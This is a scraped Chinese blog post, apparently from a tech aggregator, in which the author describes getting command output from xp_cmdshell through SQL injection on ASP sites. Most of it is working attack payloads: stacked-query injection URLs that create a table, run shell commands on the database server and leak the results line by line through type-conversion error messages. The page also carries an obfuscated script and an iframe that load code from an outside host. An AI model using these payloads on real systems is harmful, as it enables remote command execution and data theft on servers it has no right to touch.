一段執行 xp_cmdshell回顯讀取的經歷!(圖)
HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
一段執行 xp_cmdshell回顯讀取的經歷!(圖)
最近在寫 xp_cmdshell 執行命令,怎樣讀取回顯的事!
我在"企業管理器 SQL Server Enterprise Manager "執行一下命令
EXEC master.dbo.xp_cmdshell 'dir c:/'
可以顯示內容,但,怎樣把他顯示出來? 我以前想,不就一行一行讀取來,我是這樣寫的!
//先建立一個臨時表
http://www.xxx.com/aa.asp?=1 ; create TABLE D99_CMD([output][varchar](1000));--
//之後把 xp_cmdshell 想顯的內容輸入臨時表
http://www.xxx.com/aa.asp?=1 ; insert D99_CMD exec master.dbo.xp_cmdshell 'dir c:/'
//讀取內容
http://www.xxx.com/aa.asp?=1 And (select Top 1 char(124)%2Boutput%2Bchar(124) From (select Top 1 output From D99_CMD Order by [output]) T Order by [output ] desc)>0
我讀取內容的時候,才知道不能讀取!我檢視了臨時表,內容是有的!
之後想想,應該是因建列的資訊不足(有空行啊),內容不能爆出來!就算可以爆,也有可能不是按順序的!
那要怎樣一行一行的讀取來了!
呵呵!所以我用了笨方法,什麼方法,查一下現在網上已可用的 xp_cmdshell 的軟體抓包看看!
這個軟體很早就實現了這個功能,所以我拿他來抓包!
;EXEC ASTER..XP_CMDSHELL 'Dir C:/ > C:/NB_Commander_Txt.log';drop TABLE NB_Commander_Tmp;create TABLE NB_Commander_Tmp(ResultTxt varchar(7996) NULL);BULK insert [sdyy]..[NB_Commander_Tmp] FROM 'C:/NB_Commander_Txt.log' WITH (KEEPNULLS);alter Table NB_Commander_Tmp add ID int NOT NULL IDENTITY (1,1)--
他是把執行的回顯內容寫入一個檔案,之後再把他導進資料庫中,暈,前輩知道的SQL命令真多!
我看到程式碼暈了,好多!(不要笑我,其實我做注入工具以前,還一點也不懂SQL的!是寫注入後,才知道了些注入的SQL命令)
看了前輩的程式碼,看到
ID int NOT NULL IDENTITY (1,1)
自動編號!!!!
可不可以在執行 xp_cmdshell 時,同時也加進一個唯一的ID號!!!!
我在臨時表裡,加入了一個自動程式設計的ID,之後,我再執行xp_cmdshell命令把回顯的內容匯入資料庫,執行完命令後,我再檢視了臨時表!
我高興了,可以匯入內容的!
成功了,成功了!!!(我以前不知道可以這樣加的!不太熟SQL了,不要笑我了)有了一個可以排序的ID,爆內容就不復雜了!
我改的程式碼!
===============================================================
建立表,加了個自動編號的ID,並把xp_cmdshell的回顯內容匯入臨時表
http://www.xxx.com/aa.asp?=1 ;drop TABLE D99_CMD; create TABLE D99_CMD([Data][varchar](1000),ID int NOT NULL IDENTITY (1,1));insert D99_CMD exec master.dbo.xp_cmdshell 'dir c:/' ;--
//之後爆內容了,可以一行一行的爆!
http://www.xxx.com/aa.asp?=1 And (select Top 1 char(124)%2Bdata%2Bchar(124) From (select Top 1 [ID],[Data] From D99_CMD Order by [ID]) T Order by [ID] desc)>0
===============================================================
drop TABLE D99_CMD
是清除以前的內容
如果想知道有多少行,可以這樣讀
http://www.xxx.com/aa.asp?=1 And (select char(124)%2Bcast(Count(1) as varchar(8000))%2Bchar(124) From D99_CMD)>0
回顯的內容如下:
----------------------------------------------------------------------------------------------------
Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]將 varchar 值 '|37|' 轉換為資料型別為 int 的列時發生語法錯誤。
'|37|' 裡的 37 就是行數
=======================================
是因為我SQL命令不太熟悉,所以走了很多彎路!
這也是我用 xp_cmdshell 執行回顯問題的一點經歷!
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
相關文章
- 使用執行緒執行框架的一次經歷執行緒框架
- 一段讀取資料表的例子
- 開啟又一段經歷前留下
- 一段成為程式設計師的心酸經歷程式設計師
- jdon執行一段時間後經常出現的錯誤
- zt_導回awr報告中的歷史執行計劃
- PP實施經驗分享(5)——SAP中MD04顯示常用函式(讀取SAP MRP執行資料)函式
- 一個執行緒,從“生”到“死”經歷的過程執行緒
- Java程式從開發到執行經歷過程Java
- MATLAB學習之gif圖片讀取顯示Matlab
- Nodejs學習筆記-讀取顯示圖片NodeJS筆記
- Linux設定歷史命令顯示執行時間Linux
- 記錄一段 Object wait()、notifyAll() 方法不當使用的經歷ObjectAI
- mysql 執行一段時間比較慢問題處理經過MySql
- ElementUi Table核取方塊回顯UI
- c# winform下sql圖片二進位制儲存/讀取/顯示/寫入XML/讀取XML顯示C#ORMSQLXML
- 實現郵箱的已讀回執
- 回顧自己三次失敗的面試經歷面試
- 在Mysql中執行一條SQL,會經歷什麼?MySql
- 執行一條sql語句都經歷了什麼?SQL
- 生成一段可被外部執行的JS程式碼JS
- 多執行緒-以前的執行緒安全的類回顧執行緒
- 在linux的終端上執行sqlplus時,沒有回顯功能LinuxSQL
- 用Qt5和OpenCV讀取顯示中文路徑的圖片QTOpenCV
- 從CSV檔案中讀取jpg圖片的URL地址並多執行緒批量下載執行緒
- 讀取顯示CLOB的值,不能讀取啊,請高手指點11!
- Java多執行緒001——一圖讀懂執行緒與程式Java執行緒
- 關於tensorflow 的資料讀取執行緒管理QueueRunner執行緒
- PlY檔案讀取顯示
- 圖解B樹及C#實現(2)資料的讀取及遍歷圖解C#
- PHP執行流程回顧PHP
- 讀取本地圖片地圖
- Win10工作列不顯示應用圖示怎麼辦 應用已經在執行但不顯示Win10
- quartz不正常執行.執行一段時間後無故停止quartz
- Scrapy 爬取不同網站及自動執行的經驗分享網站
- javascript如何測試一段程式碼的執行時間JavaScript
- js檢測一段程式碼的執行消耗時間JS
- linux下面顯示所有正在執行的執行緒Linux執行緒